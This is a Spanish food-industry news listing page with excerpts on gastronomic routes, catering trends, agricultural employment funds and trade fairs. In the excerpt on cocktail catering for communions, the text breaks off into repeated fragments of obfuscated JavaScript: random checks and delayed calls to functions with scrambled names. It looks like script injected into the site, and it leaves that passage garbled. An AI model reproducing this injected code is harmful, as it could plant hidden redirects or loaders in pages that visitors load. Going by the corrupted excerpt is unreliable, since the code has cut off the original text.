8ª Ruta del cocido madrileño

41 restaurantes participan en la VIII Ruta del Cocido Madrileño, que se inaugura mañana en el Parador de Turismo de Chinchón   La cuchara sigue de moda. 41 restaurantes participan en la VIII Ruta del Cocido Madrileño, del 14 de febrero al 31 de marzo. La inauguración tiene lugar mañana a las 12:00 en el […]

“Coffee break or Lunch” para las empresas españolas

No se trata de nada nuevo pero sí de algo que, con la crisis que aún perdura y que comenzó en el año 2008, había disminuido en cantidad y calidad en nuestro país. Las empresas comenzaron a ejecutar serios recortes, no solo en el personal, sino también en sus presupuestos para marketing y comunicación. Fue […]

El empleo agrario recibirá más de 216 millones de euros en 2016

El empleo agrario recibirá este año 216.104.251,54 euros, según el acuerdo llevado a cabo en la Comisión de Seguimiento de los Acuerdos AEPSA (Acuerdo para el Empleo y la Protección Social Agrarios), para desarrollar el Programa de Fomento de Empleo Agrario (PROFEA). En la reunión mantenida ayer entre la directora general del Servicio Público de […]

Las mujeres reivindican el oficio de Cortadoras de Jamón

Vísperas del día de la mujer, tenemos en nuestra redacción las fotos de las primeras mujeres cortadoras de jamón formadas por la Selección Profesional de Cortadores de Jamón, SPCJ. A estas alturas, aún no hay un título oficial que acredite la formación desde el ministerio de Educación, pero gracias a los cursos privados que ofrece […]

Los periodistas eligen restaurante

Un buen restaurante no lo hacen los personajes conocidos y famosos que lo visitan, hay muchísimo trabajo detrás, no solo en cocina, que es lo que realmente lo hace posible. Pero eso no quita que los famosos quieran conocerlos y disfrutar de ellos. En el mundo de las modas y tendencias suele haber un denominador común: la […]

I Jornadas de la Albóndiga en los Galayos

Habiendo organizado jornadas gastronómicas en honor a platos como el cochinillo, el tubérculo, el rabo de toro, las judías o las carrilladas, no podían dejar de lado a un clásico de la gastronomía de medio mundo que gusta a toda la familia: la albóndiga. Del 8 al 21 de febrero se celebra en Los Galayos las “I Jornadas de […]

Tendencias: se implanta el catering tipo cóctel para las comuniones

Rubén Guerra: Sí, podemos decir que está de moda. A estas alturas de mes, cuandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay […]

Productos ecológicos españoles en la Feria BIOFACH 2016

Del 10 al 13 de febrero en Nüremberg (Alemania) La feria, considerada como el encuentro internacional más importante en el ámbito de los productos ecológicos, ofrece una amplia  panorámica  sobre la investigación, la producción, la transformación y la comercialización. ​El Ministerio de Agricultura, Alimentación y Medio Ambiente promociona los productos ecológicos españoles en la Feria Internacional de […]